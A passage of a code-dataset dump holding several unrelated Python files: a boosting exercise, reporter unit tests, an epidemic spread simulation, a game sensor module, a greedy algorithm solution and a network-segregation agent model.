import DecisionTreeClassifier\nfrom sklearn.ensemble import AdaBoostClassifier\nfrom sklearn.model_selection import train_test_split\n\ntrain_x, test_x, train_y, test_y = train_test_split(\n    X, Y, random_state=5, test_size=0.30)\n\n\n\nbase_class = DecisionTreeClassifier(max_depth=1)\n\nada_Boost = AdaBoostClassifier(\n    base_estimator=base_class, n_estimators=400, learning_rate=1, algorithm='SAMME')\n\nada_Boost.fit(train_x, train_y)\npredicted = ada_Boost.predict(test_x)\nmetrics.accuracy_score(predicted, test_y)\n\nplt.plot(predicted,test_y)\nplt.xlabel(\"predicted\")\nplt.ylabel(\"test\")\nplt.show()\n\nimport seaborn as sns\nsns.countplot(predicted)\n\nbase_class = DecisionTreeClassifier(max_depth=2)\nada_Boost = AdaBoostClassifier(\n    base_estimator=base_class, n_estimators=400, learning_rate=1, algorithm='SAMME')\n\nada_Boost.fit(train_x, train_y)\npredicted = ada_Boost.predict(test_x)\nmetrics.accuracy_score(predicted, test_y)\n\n\n\n","repo_name":"vikas972/Analytics_course","sub_path":"Model_selection_and_Boosting/Case_Study_3_Model_Selection.py","file_name":"Case_Study_3_Model_Selection.py","file_ext":"py","file_size_in_byte":1965,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"73164306320","text":"import os\nfrom typing import Any\nfrom unittest.mock import MagicMock, call, patch\n\nfrom hypothesis import given\nfrom hypothesis import strategies as st\nfrom jinja2 import Environment, FileSystemLoader, select_autoescape\n\nfrom macaron.config.target_config import Configuration\nfrom macaron.output_reporter.reporter import HTMLReporter, JSONReporter\nfrom macaron.output_reporter.results import Record, Report, SCMStatus\n\nfrom ..macaron_testcase import MacaronTestCase\nfrom ..st import JINJA_CONTEXT_DICT\n\nROOT_PATH = os.path.dirname(os.path.abspath(__file__))\n\n\nclass MockRecord(Record):\n    \"\"\"A mock class for the record.\"\"\"\n\n    def __init__(self, mock_data: dict) -> None:\n        super().__init__(\n            record_id=\"record\",\n            description=\"sample_desc\",\n            pre_config=Configuration({}),\n            status=SCMStatus.AVAILABLE,\n            context=MagicMock(),\n            dependencies=[],\n        )\n        self.mock_data = mock_data\n\n    def get_dict(self) -> dict:\n        return self.mock_data\n\n\nclass TestHTMLReporter(MacaronTestCase):\n    \"\"\"Test the HTMLReporter class.\"\"\"\n\n    def test_no_html_template_found(self) -> None:\n        \"\"\"Test initializing a HTMLReporter instance with a non-existing template.\"\"\"\n        no_template_reporter = HTMLReporter(target_template=\"not_exist_template.html\")\n        assert not no_template_reporter.template\n\n    @given(mock_data=JINJA_CONTEXT_DICT, num_dep=st.integers(min_value=0, max_value=3))\n    def test_gen_json_reports(self, mock_data: Any, num_dep: int) -> None:\n        \"\"\"Test if JSONReporter can print JSON files without errors.\"\"\"\n        report = Report(MockRecord(mock_data))\n        for _ in range(num_dep):\n            report.root_record.dependencies.append(MockRecord(mock_data))\n\n        reporter = JSONReporter()\n\n        with patch(\"builtins.open\") as mock_open:\n            reporter.generate(\"report_paths\", report)\n            calls = [call(os.path.join(\"report_paths\", \"dependencies.json\"), mode=\"w\", encoding=\"utf-8\")]\n            mock_open.assert_has_calls(calls)\n\n    @given(mock_data=JINJA_CONTEXT_DICT, num_dep=st.integers(min_value=0, max_value=3))\n    def test_gen_html_reports(self, mock_data: Any, num_dep: int) -> None:\n        \"\"\"Test if HTMLReporter can print HTML files without errors.\"\"\"\n        report = Report(MockRecord(mock_data))\n        for _ in range(num_dep):\n            report.root_record.dependencies.append(MockRecord(mock_data))\n\n        custom_jinja_env = Environment(\n            loader=FileSystemLoader(ROOT_PATH),\n            autoescape=select_autoescape(enabled_extensions=[\"html\", \"j2\"]),\n            trim_blocks=True,\n            lstrip_blocks=True,\n        )\n\n        reporter = HTMLReporter(env=custom_jinja_env, target_template=\"template.html\")\n        with patch(\"builtins.open\") as mock_open:\n            reporter.generate(\"report_paths\", report)\n            mock_open.assert_called()\n","repo_name":"oracle/macaron","sub_path":"tests/output_reporter/test_reporter.py","file_name":"test_reporter.py","file_ext":"py","file_size_in_byte":2920,"program_lang":"python","lang":"en","doc_type":"code","stars":89,"dataset":"github-code","pt":"3"}
+{"seq_id":"70365649682","text":"import os\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\n\ndef mkdir(path):\n    folder = os.path.isdir(path)\n\n    if not folder:  # 判断是否存在文件夹如果不存在则创建为文件夹\n        os.makedirs(path)  # makedirs 创建文件时如果路径不存在会创建这个路径\n        print(\"---  new folder...  ---\")\n        print(\"---  OK  ---\")\n\n    else:\n        print(\"---  There is this folder!  ---\")\n\ndef save_excl(round,health,infector,cured,death):\n    save_path = './result'\n    mkdir(save_path)\n    print('保存到'+save_path)\n    result_excel = pd.DataFrame()\n    result_excel[\"round\"] = round\n    result_excel[\"health\"]=health\n    result_excel[\"infector\"]=infector\n    result_excel[\"cured\"] = cured\n    result_excel[\"death\"] = death\n    result_excel.to_excel(save_path + '/result.xlsx')\n\nclass People(object):\n    def __init__(self, count=1000, first_infected_count=3):\n        self.count = count\n        self.first_infected_count = first_infected_count\n        self.init()\n        self.round = []\n        self.health = []\n        self.infector = []\n        self.recovery = []\n        self.death = []\n\n        self.suscept_rate=0.3 #恢复到易感的概率\n        self.suscept_time=60 #60天后开始免疫消退\n        self.safe_distance=3 #传染距离，大于该距离不被传染\n        self.infecte_rate=0 #传染率，基于高斯分布，0为50%\n        self.R0=20 #最大传染人数\n        self.death_rate=0.001 #死亡率，默认千分之一\n        self.move_width=10 #移动距离，默认最大移动10格\n        # 地图大小设为1000\n        # 95%的人阳后5-14天痊愈\n        # 每天随机大约25%的人不移动\n\n\n    def init(self):\n        self._people = np.random.normal(0, 200, (self.count, 2)) #地图大小设为1000\n        self.reset()\n\n    def reset(self):\n        self._round = 0\n        self._status = np.array([0] * self.count)\n        self._timer = np.array([0] * self.count)\n        self.random_people_state(self.first_infected_count, state=2)\n\n    def random_people_state(self, num, state=2):\n        \"\"\"随机挑选人设置状态\n        \"\"\"\n        assert self.count > num\n        # TODO：极端情况下会出现无限循环\n        n = 0\n        while n < num:\n            i = np.random.randint(0, self.count)\n            if self._status[i] == state:\n                continue\n            else:\n                self.set_state(i, state)\n                n += 1\n\n    def set_state(self, i, state):\n        self._status[i] = state\n        # 记录状态改变的时间\n        self._timer[i] = self._round\n\n    def random_movement(self, width=1):\n        \"\"\"随机生成移动距离\n\n        :param width: 控制距离范围\n        :return:\n        \"\"\"\n        return np.random.normal(0, width, (self.count, 2))\n\n    def random_switch(self, x=0.):\n        \"\"\"随机生成开关，0 - 关，1 - 开\n\n        x 大致取值范围 -1.99 - 1.99；\n        对应正态分布的概率， 取值 0 的时候对应概率是 50%\n        :param x: 控制开关比例\n        :return:\n        \"\"\"\n        normal = np.random.normal(0, 1, self.count)\n        switch = np.where(normal < x, 1, 0)\n        return switch\n\n    @property\n    def healthy(self):\n        return self._people[self._status == 0]\n\n    @property\n    def infected(self):\n        return self._people[self._status == 2]\n\n    @property\n    def cured(self):\n        return self._people[self._status == 3]\n\n    @property\n    def dead(self):\n        return self._people[self._status == 4]\n\n    @property\n    def suscept(self):\n        return self._people[self._status == 1]\n\n    def move(self, width=1, x=.0):\n        movement = self.random_movement(width=width)\n        # 限定特定状态的人员移动\n        switch = self.random_switch(x=x)\n        # movement[(self._status == 0) | switch == 0] = 0\n        movement[(self._status == 3) |switch == 0] = 0\n        self._people = self._people + movement\n\n    def change_state(self):\n        dt = self._round - self._timer\n        # 必须先更新时钟再更新状态\n        d = np.random.randint(5, 14)\n        x = np.random.random(1)\n        self._timer[(self._status == 2) & ((dt == d) | (dt > 14)) & (x<0.95)] = self._round\n        self._status[(self._status == 2) & ((dt == d) | (dt > 14)) & (x<0.95)] += 1 #95%的人阳后5-14天痊愈\n\n\n\n    def affect(self):\n        # self.infect_nearest()\n        self.susceptibility(rate=self.suscept_rate,time=self.suscept_time)\n        self.infect_possible(rate=0.,safe_distance=self.safe_distance,R0=self.R0)\n        self.dead_possible(rate=self.death_rate)\n\n\n    def infect_nearest(self, safe_distance=3.0):\n        \"\"\"感染最接近的健康人\"\"\"\n        for inf in self.infected:\n            dm = (self._people - inf) ** 2\n            d = dm.sum(axis=1) ** 0.5\n            sorted_index = d.argsort()\n            for i in sorted_index:\n                if d[i] >= safe_distance:\n                    break  # 超出范围，不用管了\n                if self._status[i] > 0:\n                    continue\n                self._status[i] = 2\n                # 记录状态改变的时间\n                self._timer[i] = self._round\n                break  # 只传 1 个\n\n    def infect_possible(self, rate=0., safe_distance=3.0, R0=3):\n        \"\"\"按概率感染接近的健康人\n        rate 的取值参考正态分布概率表，rate=0 时感染概率是 50%\n        R0是传染人数，默认R0为3\n        \"\"\"\n        count=0\n        for inf in self.infected:\n            dm = (self._people - inf) ** 2\n            # d = dm.sum(axis=1) ** 0.5\n            d = dm.sum(axis=1) ** 0.5\n            sorted_index = d.argsort()\n            for i in sorted_index:\n                if d[i] >= safe_distance:\n                    break  # 超出范围，不用管了\n                if self._status[i] >1 :\n                    continue\n                if np.random.normal() > rate:\n                    continue\n                self._status[i] = 2\n                # 记录状态改变的时间\n                self._timer[i] = self._round\n                count+=1\n                if count>=R0:\n                    break\n\n    def susceptibility(self, rate=0.4,time=60):\n        \"\"\"40%的人在60天后恢复易感\n        x 的取值为易感率\n        \"\"\"\n        list=np.where(self._status == 3)\n        list=list[0].tolist()\n        for i in list:\n            dt = self._round - self._timer[i]\n        # 必须先更新时钟再更新状态\n            # 痊愈情况\n            if dt>time:# 痊愈者60天后易感\n            #     self._status[i] = 0\n            #     self._timer[i] = self._round\n            # else:\n            #     continue\n                #设置一个随机数\n                n = np.random.random(1)\n                if n < rate:\n                    continue\n                else:\n                    self._timer[i] = self._round\n                    self._status[i] = 0  # 痊愈者60天后易感\n\n    def dead_possible(self, rate=0.001):\n        \"\"\"参考死亡率为千分之1\n        x 的取值为死亡率\n        \"\"\"\n        list=np.where(self._status == 2)\n        list=list[0].tolist()\n        for i in list:\n        #确诊的死亡\n        #设置一个随机数\n            n = np.random.random(1)\n            if n > rate:\n                continue\n            else:\n                self._status[i] = 4\n                self._timer[i] = self._round\n\n\n    def over(self):\n        return len(self.healthy) == 0\n\n    def report(self):\n        #保存图像\n        plt.cla()\n        # plt.grid(False)\n        p1 = plt.scatter(self.healthy[:, 0], self.healthy[:, 1], s=1, c='green')\n        p2 = plt.scatter(self.infected[:, 0], self.infected[:, 1], s=1, c='red')\n        p3 = plt.scatter(self.cured[:, 0], self.cured[:, 1], s=1, c='blue')\n        p4 = plt.scatter(self.dead[:, 0], self.dead[:, 1], s=1, c='black')\n        p5 = plt.scatter(self.suscept[:, 0], self.suscept[:, 1], s=1, c='aqua')\n\n        plt.legend([p1, p2, p3, p4], ['healthy', 'infected', 'cured', 'death'], loc='upper right', scatterpoints=1)\n        t = \"Round: %s, Healthy: %s, Infected: %s, Cured: %s, Death: %s\" % \\\n            (self._round, len(self.healthy), len(self.infected), len(self.cured), len(self.dead))\n        plt.text(-700, 1000, t, fontsize=20, ha='left', wrap=True)\n        savename=\"./save/Round_%s.jpg\" % (self._round)\n        plt.savefig(savename)\n        plt.clf()\n        #保存列表\n        self.round.append(self._round)\n        self.health.append(len(self.healthy))\n        self.infector.append(len(self.infected))\n        self.recovery.append(len(self.cured))\n        self.death.append(len(self.dead))\n\n\n    def update(self):\n        \"\"\"每一次迭代更新\"\"\"\n        self.change_state()\n        self.affect()\n        self.move(width=self.move_width, x=0.66) # x函数为高斯分布，随机大约25%的人不移动\n        self._round += 1\n        self.report()\n        print('Round_%s' % self._round)\n\n    def save_result(self):\n        \"\"\"保存数据\"\"\"\n        save_excl(round=self.round,health=self.health,infector=self.infector,cured=self.recovery,death=self.death)\n        fig_result=plt.figure(figsize=(20, 20), dpi=100)\n        plt.plot(self.round,self.health,'g-')\n        plt.plot(self.round, self.infector, 'r-')\n        plt.plot(self.round, self.recovery, 'b-')\n        plt.plot(self.round, self.death, 'k-')\n        plt.savefig(\"./save/results.jpg\")\n\nif __name__ == '__main__':\n    np.random.seed(0)\n    plt.figure(figsize=(20, 20), dpi=100)\n    plt.ion()\n    p = People(100000, 3)####这里填入初始人数，初始病人\n    for i in range(365):\n        p.update()\n    p.save_result()\n","repo_name":"Roin626/virus_trans","sub_path":"virusdemo.py","file_name":"virusdemo.py","file_ext":"py","file_size_in_byte":9694,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"361469397","text":"import math\nimport random\nimport re\n\nfrom CYLGame import GameLanguage\nfrom CYLGame.Frame import GameFrame\nfrom CYLGame.Game import NonGridGame\nfrom CYLGame.Player import Player\n\nTAU = 2.0 * math.pi\nSEP = \"---------------------------------------\"\n\nDEBUG = False\n\n\ndef dprint(string):\n    if DEBUG:\n        print(string)\n\n\ndef deg2rad(deg):\n    return float(deg) * TAU / 360.0\n\n\ndef rad2deg(rad):\n    return float(rad) * 360.0 / TAU\n\n\ndef rotate_point(angle, point):\n    cos_ = math.cos(angle)\n    sin_ = math.sin(angle)\n\n    newp = [0, 0]\n    newp[0] = float(point[0]) * cos_ - float(point[1]) * sin_\n    newp[1] = float(point[0]) * sin_ + float(point[1]) * cos_\n\n    return newp\n\n\ndef compute_vector(start, end, screen_width, screen_height):\n    \"\"\"\n    Computes the vector and distance between two objects, start and end.\n    start and end must have a position attribute which is a list/tuple\n    of the x and y coord.\n    \"\"\"\n    vector = []\n    half_width = float(screen_width) / 2.0\n    vector.append(end.position[0] - start.position[0])\n    if vector[0] > half_width:\n        vector[0] -= screen_width\n    elif vector[0] < -half_width:\n        vector[0] += screen_width\n\n    half_height = float(screen_height) / 2.0\n    vector.append(end.position[1] - start.position[1])\n    if vector[1] > half_height:\n        vector[1] -= screen_height\n    elif vector[1] < -half_height:\n        vector[1] += screen_height\n\n    return vector[0] ** 2 + vector[1] ** 2, vector\n\n\nclass SensorSanitizers(object):\n    # sensor sanitize/validate functions\n    @staticmethod\n    def san_range(r):\n        if not r:\n            return 0.0\n\n        new_r = float(r)\n        if new_r < 0.0:\n            new_r = 0.0\n        elif new_r > 100.0:\n            new_r = 100.0\n        return new_r\n\n    @staticmethod\n    def san_angle(a):\n        if not a:\n            return 0.0\n\n        return float(a)\n\n    @staticmethod\n    def san_width(w):\n        if not w:\n            return 0.0\n\n        new_w = float(w)\n        if new_w < 0.0:\n            new_w = 0.0\n        elif new_w > 360.0:\n            new_w = 360.0\n        return new_w\n\n    @staticmethod\n    def san_turret(t):\n        if not t:\n            return False\n\n        return bool(t)\n\n    color_re = re.compile(r\"#[0-9A-Fa-f]{6}\")\n\n    @staticmethod\n    def san_color(c):\n        if not c:\n            return None\n        elif SensorSanitizers.color_re.match(c):\n            return c\n        else:\n            return None\n\n\nclass SensorPlayer(Player):\n    def add_sensor(self, _range, angle, width, turret):\n        \"\"\"\n        Adds a sensor to this player.\n        _range: integer [0, 100], the distance that the sensor travels\n        angle: integer [0, 360], the direction in degrees the sensor points\n        width: integer [0, 360], the width in degrees of the sensor\n        turret: bool, if True, the angle is relative to the turret's angle,\n        otherwise angle is relative to the tank's angle\n        \"\"\"\n        sensor = {}\n        sensor[\"range\"] = float(_range)\n        sensor[\"angle\"] = deg2rad(angle)\n        sensor[\"width\"] = deg2rad(width)\n        sensor[\"turret\"] = turret\n        sensor[\"triggered\"] = 0\n        self.sensors.append(sensor)\n\n    def sensor_calc(self, other, dist_sq, vector, tank_sensor_range):\n        \"\"\"\n        See if other is in any of our sensors.\n        \"\"\"\n        if self.killer or other.killer:\n            return\n\n        # check if they are in our max sensor range\n        if dist_sq > (tank_sensor_range + other.radius) ** 2:\n            return\n        # print(\"sensor_calc\")\n        # print(dist_sq, vector, self.angle)\n        # Now calculate sensors\n        for i, sensor in enumerate(self.sensors):\n            if sensor[\"range\"] <= 0:\n                continue\n\n            if sensor[\"triggered\"] & other.obj_type:\n                # sensor already firing\n                continue\n\n            if dist_sq > (sensor[\"range\"] + other.radius) ** 2:\n                # out of range\n                continue\n\n            theta = self.angle + sensor[\"angle\"]\n            # print(sensor[\"angle\"])\n            if sensor[\"turret\"]:\n                theta += self.turret_current\n\n            # do some funky math\n            # rotate other's position by theta\n            rotated_point = rotate_point(-theta, vector)\n            # Sensor is symmetrical, so we only need to consider top\n            # quadrants\n            rotated_point[1] = abs(rotated_point[1])\n            # compute inverse slope of our sensor\n            m_s = 1.0 / math.tan(sensor[\"width\"] / 2.0)\n            # compute slope to other\n            m_r = rotated_point[0] / rotated_point[1]\n\n            # if our inverse slope is less than other, they're inside\n            # the arc\n            if m_r >= m_s:\n                # print(\"triggered\", i)\n                sensor[\"triggered\"] |= other.obj_type\n                continue\n\n            # Now check if the edge of the arc intersects the tank. Do\n            # this just like with firing\n            rotated_point = rotate_point(sensor[\"width\"] / -2.0, rotated_point)\n            if rotated_point[0] > 0 and abs(rotated_point[1]) < other.radius:\n                # print(\"triggered\", i)\n                sensor[\"triggered\"] |= other.obj_type\n\n\nclass SensorGame(NonGridGame):\n    WEBONLY = True\n    NONGRID = True\n    OPTIONS = \"sensors\"\n\n    def do_sensors(self):\n        players = self.players\n        for player in players:\n            for sensor in player.sensors:\n                sensor[\"triggered\"] = 0\n\n        for i in range(len(players)):\n            if players[i].killer:\n                continue\n\n            for j in range(i + 1, len(players)):\n                if players[j].killer:\n                    continue\n                dist_sq, vector = compute_vector(players[i], players[j], self.SCREEN_WIDTH, self.SCREEN_HEIGHT)\n                players[i].sensor_calc(players[j], dist_sq, vector, self.MAX_SENSOR_RANGE)\n                vector[0] = -vector[0]\n                vector[1] = -vector[1]\n                players[j].sensor_calc(players[i], dist_sq, vector, self.MAX_SENSOR_RANGE)\n","repo_name":"UMDLARS/CYLGame","sub_path":"CYLGame/SensorGame.py","file_name":"SensorGame.py","file_ext":"py","file_size_in_byte":6092,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"}
+{"seq_id":"40607170021","text":"import numpy as np\n# k -> init_energy\nn ,k = map(int, input().split(' '))\n\nfriuts = []     #[[bi],[ai]] -> [- , +]\nfor i in range(n):\n    data = list(map(int, input().split(' ')))\n    friuts.append(data)\n\nefficient_friuts_= np.array(list(filter(lambda x : x[0] < x[1], friuts)))\nsorted_efficient_friuts = efficient_friuts_[np.argsort(efficient_friuts_[:, 0])]\n\nresults = []\ninit_energy = k\nfor f in sorted_efficient_friuts:\n    if init_energy - f[0] >= 0:\n        results.append(list(f))\n        init_energy += abs(f[1]-f[0]) # abs is not necessary in here\n\n\nresult_friuts = list(map(lambda x : abs(x[0] - x[1]), results))\n\nprint(k + sum(result_friuts))","repo_name":"ParsaAminpour/Quera-Algorithm-Course-Solutions","sub_path":"Quera-advanced-algorithm-course/Season5/Solutions/SolutionNo3.py","file_name":"SolutionNo3.py","file_ext":"py","file_size_in_byte":653,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"73244383120","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Jan 10 14:01:21 2020\n@author: Jakob\n\"\"\"\n\n###########################################################\n### Imports\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport math\nimport networkx as nx\nimport time \nfrom multiprocessing import Pool\n\n\n### Global parameter inputs\n\nn = 6 # Number of agents\ndelta = 0.3  # weight placed on indirect links\ngamma = 0.5  # weight placed on additional utility derived from a mutual link\nc = 0.15  # cost of forming and maintaining links\nb = 0.7  # strength of preference for links to similar agents\nsigma = 0.01  # standard deviation of the shocks to utility\nalpha = 2  # convexity of costs (cost=c*d_i**alpha)\np_link_0 = 0.25  # Uniform initial link probability (to generate g_0)\n\n# shares of the types\nshare_red = 1/3\nshare_blue = 1/3\nshare_green = 1 - share_red - share_blue\npossible_X = [1,2,3] # coding of the types\n\n# Simulation parameters\nT = 5000 # Maximum iterations\nt_plot = 1 # periods between plots\nt_conv = 10 # if g does not change for t_conv periods we have reached convergence\n\n### Functions\n\ndef u(i, j, X) :\n    \"\"\" Returns the partial utility given X_i and X_j using the exp(-b*L1-norm\n    of their difference)\"\"\"\n    return math.exp(-b * np.linalg.norm((X[i] - X[j]), ord=1))\n\n\ndef U(i, g, X) :\n    \"\"\" Returns the full utility of agent i given the current network structure\n    g and the matrix of characteristics X \"\"\"\n    d_i = sum(g[i])  # degree of i\n\n    direct_u = sum([g[i, j] * u(i, j, X) for j in range(n)])\n\n    mutual_u = sum([g[i, j] * g[j, i] * u(i, j, X) for j in range(n)])\n\n    indirect_u = 0\n    for j in range(n) :\n        for k in range(n) :\n            if k == i or k == j :\n                continue\n            else :\n                indirect_u += g[i, j] * g[j, k] * u(i, k, X)\n\n    return direct_u + gamma * mutual_u + delta * indirect_u - d_i ** alpha * c\n\n\ndef step(g, X) :\n    \"\"\" Randomly selects an agent i to revise their link with another random\n    agent j. Returns the updated adjacency matrix and link revision tuple (i,j)\n    as well as the outcome of the revision \"\"\"\n    i,j  = np.random.choice(range(n), size=2, replace=False)\n    g_ij_initial = g[i,j]\n\n    eps = np.random.normal(scale=sigma, size=2)  # Simulate two shocks from normal with std dev sigma\n\n    g[i,j] = 1\n    U_with_link = U(i,g,X) + eps[0]\n    \n    g[i,j] = 0\n    U_without_link = U(i,g,X) + eps[1]\n    \n    if U_with_link > U_without_link :\n        g[i,j] = 1\n        \n    if U_with_link == U_without_link :\n        g[i,j] = g_ij_initial\n        \n    if U_with_link < U_without_link :\n        g[i,j] = 0\n    \n    formed = 0\n    if g[i,j] > g_ij_initial:\n        formed = 1\n    if g[i,j] < g_ij_initial:\n        formed = 2\n        \n    return g, (i,j), formed\n\n\ndef analyse(connectivity, characteristics):\n    \"\"\"\n        Calculate mean and standard deviation (output in tuples [mean,sd]) of \n        the following network measures:\n        \n        - degree\n        - mut_prop\n        - cluster_coef\n        - segreg_ind    > list with length of the amount of characteristics (3 for sex, race, grade)\n        \n        INPUT: \n        - connectivity matrix with row-students nominating column-students as friends\n        - characteristics matrix with row per student, with integers indicating every group for each characteristic (sex, race, grade)\n    \"\"\"\n    \n    # get amount of nodes and list of out going dyads for every individual\n    nodes = connectivity.shape[0]\n    out_d = np.count_nonzero(connectivity, axis=1)\n    \n    \n    # determine degree nodes (outgoing connections)\n    mean_degree = np.mean(out_d)\n    std_degree = np.std(out_d)\n    degree = [mean_degree, std_degree]\n\n    \n    # determine the mutual dyads proportion\n    # create matrix with 2's on mutual dyads, 1's on asymmetric dyads and count occurrence\n    added_up = connectivity + np.transpose(connectivity)\n    mutual_d = np.count_nonzero(added_up == 2, axis=1)\n    mut_prop = mutual_d / out_d\n    # remove 'nan' individuals (with no out-going connections) from list\n    mut_prop = [value for value in mut_prop if not math.isnan(value)]\n    # calculate mean+std mutual dyads proportion\n    mean_mut_prop = np.mean(mut_prop)\n    std_mut_prop = np.std(mut_prop)\n    mut_prop = [mean_mut_prop, std_mut_prop]\n    \n    \n    # determine the local clustering coefficient\n    clustering_coefficients = []\n    for n_node, connections in enumerate(connectivity):\n        # the amount of neighbours each node has\n        n_neighbours = np.sum(connectivity[n_node])\n        # only consider nodes with at least 2 neighbours\n        if n_neighbours >= 2:\n            # matrix of the nodes that are both neighbours of the node considered\n            neighbour_matrix = np.dot(np.transpose([connectivity[n_node]]),[connectivity[n_node]])\n            # the amount of connections between neighbours\n            neighbour_connections = np.sum(connectivity*neighbour_matrix)\n            # the amount of connections between neighbours divided by the possible amount of connections\n            clustering_coefficients.append(neighbour_connections / (n_neighbours*(n_neighbours-1)))\n    # calculate mean+std clustering coefficient\n    mean_cluster_coef = np.mean(clustering_coefficients)\n    std_cluster_coef = np.std(clustering_coefficients)\n    cluster_coef = [mean_cluster_coef, std_cluster_coef]\n\n    \n    # determine the segregation index per characteristic (sex, race, grade)\n    segreg_ind = []\n    # iterate through different characteristics (sex, race, grade)\n    for i in range(characteristics.shape[1]):\n        # get different groups of this characteristic in dataset\n        characs = sorted(list(set(characteristics[:,i])))\n        amount = len(characs)\n        # for every characteristic own tuple for mean and std\n        segreg_ind_charac = []\n        # iterate through different groups of this characteristic\n        for j in range(amount):\n            # indicate indices of members this group and save size group\n            indices = np.where(characteristics[:,i] == characs[j])[0]\n            # calculate ratio out-group individuals\n            ratio_diff = 1 - len(indices) / nodes\n            # create a submatrix of all nominations from this group and save amount\n            submat_trait = connectivity[np.ix_(indices,)]\n            # create submatrix outgoing connections to individuals different group\n            mask = np.ones(connectivity.shape[0], np.bool)\n            mask[indices] = 0\n            submat_diff = submat_trait[:,mask]\n            # calculate segregation index per individual of this group for this characteristic\n            for ind in range(len(indices)):\n                expect_out = submat_trait[ind].sum() * ratio_diff\n                observ_out = submat_diff[ind].sum()\n                seg_ind = (expect_out - observ_out) / expect_out\n                if seg_ind < -1:\n                    seg_ind = -1\n                segreg_ind_charac.append(seg_ind)\n        # remove 'nan' individuals from list\n        segreg_ind_charac = [value for value in segreg_ind_charac if not math.isnan(value)]\n        # calculate mean+std segregation index this characteristic\n        mean_segreg_ind_charac = np.mean(segreg_ind_charac)\n        std_segreg_ind_charac = np.std(segreg_ind_charac)\n        segreg_ind.append([mean_segreg_ind_charac, std_segreg_ind_charac])\n    \n    return degree, mut_prop, cluster_coef, segreg_ind[0]\n\n\ndef nx_graph(g):\n    ''' Returns an nx graph for an adjacency matrix g '''\n    rows, cols = np.where(g == 1)\n    edges = zip(rows.tolist(), cols.tolist())\n    gr = nx.DiGraph()  # Calling the DIRECTED graph method\n    gr.add_nodes_from(range(len(g)))\n    gr.add_edges_from(edges)\n\n    return gr\n\n\ndef plot_network(g,ij=None,formed=None,node_positions=None,ax=None) :\n    \"\"\" Uses nx to plot the directed network g \"\"\"\n    gr = nx_graph(g)\n    # Add node colors according to X\n    color_map = []\n    for i in range(n) :\n        if X[i,0] == possible_X[0]:\n            color_map.append('red')\n        if X[i,0] == possible_X[1]:\n            color_map.append('blue')\n        if X[i,0] == possible_X[2]:\n            color_map.append('green')\n#    pos = nx.spring_layout(gr)\n    pos = nx.circular_layout(gr)\n    nx.draw(gr, pos, node_color=color_map, with_labels=True, node_size=300, \n            arrowsize=20, ax=ax)\n    \n    if ij != None:\n        if formed == 0:\n            edge_color = 'b'\n        if formed == 1:\n            edge_color = 'g'\n        if formed == 2:\n            edge_color = 'r'\n            \n        nx.draw_networkx_edges(gr, pos, edgelist=[ij], edge_color=edge_color, \n                               arrowsize=20, width=3, ax=ax)\n\n\ndef plot_network_and_stats(g,X,stats_list,ij,formed,t,node_positions=None):\n    ''' Plots the network and network statistics '''\n    k = len(stats_list[0]) # number of network statistics\n\n    fig = plt.figure(figsize=(15, 5))\n    grid = plt.GridSpec(2, k, wspace=0.4, hspace=0.3)\n    main_ax = fig.add_subplot(grid[0,:])\n    small_axs = [fig.add_subplot(grid[1, i]) for i in range(k)]\n    \n    if ij == None:\n        plot_network(g,node_positions=node_positions,ax=main_ax)\n    else:\n        plot_network(g,ij,formed,node_positions=node_positions,ax=main_ax)\n\n    statistic_names = ['Avg. degree', 'Mutuality', 'Clustering', 'Segregation']\n\n    for i in range(k):\n        small_axs[i].plot(stats_list[0][i][0],'ro')\n        small_axs[i].plot([stats[i][0] for stats in stats_list])\n        small_axs[i].set_title(statistic_names[i])\n        \n    plt.suptitle('Network configuration at t={}'.format(t))\n#    plt.savefig('toy_evolution' + str(t) + '.png') # save figures\n    plt.show()\n\n### Simulation\n    \n# Generate proportional green blue and reds\nX = np.zeros((n,2))\nX[:,0] = np.array([possible_X[0] for i in range(int(share_red * n))] +\n             [possible_X[1] for i in range(int(share_blue * n))] +\n             [possible_X[2] for i in range(n - int(share_red * n) - int(share_blue * n))])\n\n# Randomly generate the initial network configuration\ng_0 = np.random.choice([0, 1], size=(n, n), p=[1 - p_link_0, p_link_0])\nnp.fill_diagonal(g_0, 0)  # The diagonal elements of the adjacency matrix are 0 by convention\ng_sequence = [g_0]  # Sequence of adjacency matrices\n\n# Initialize lists to save results    \nstats_list = [analyse(g_sequence[-1],X)]\nij_list = [None]\nformed_list = [None]\n\n\nfor t in range(T - 1):\n    # Perform a step and append the new network\n    g_new, ij, formed = step(g_sequence[-1], X)\n    g_sequence.append(g_new.copy())\n    ij_list.append(ij)\n    formed_list.append(formed)\n    \n    # Analyze new network\n    stats = analyse(g_sequence[-1],X)\n    stats_list.append(stats)\n        \n    if t % t_conv == 0 and t // t_conv > 0:\n        # Calculate how many links have changed and stop if convergence has been reached\n        network_change = np.linalg.norm((g_sequence[-1] - g_sequence[-t_conv]), ord=1)\n        if network_change == 0:\n            convergence_steps = t\n            break\n            \nfor t in range(len(g_sequence)-1):\n    # Produce a plot and diagnostics every t_plot steps\n    if t % t_plot == 0:\n        plot_network_and_stats(g_sequence[t],X,stats_list[:t+1],ij_list[t+1],formed_list[t+1],t)\n\n# Plot final network\nplot_network_and_stats(g_sequence[-1],X,stats_list,None,None,len(g_sequence))\n\n        \nprint('It took {} setps until convergence'.format(convergence_steps))\n","repo_name":"jakob-ra/Network_Segregation","sub_path":"toy_model.py","file_name":"toy_model.py","file_ext":"py","file_size_in_byte":11393,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
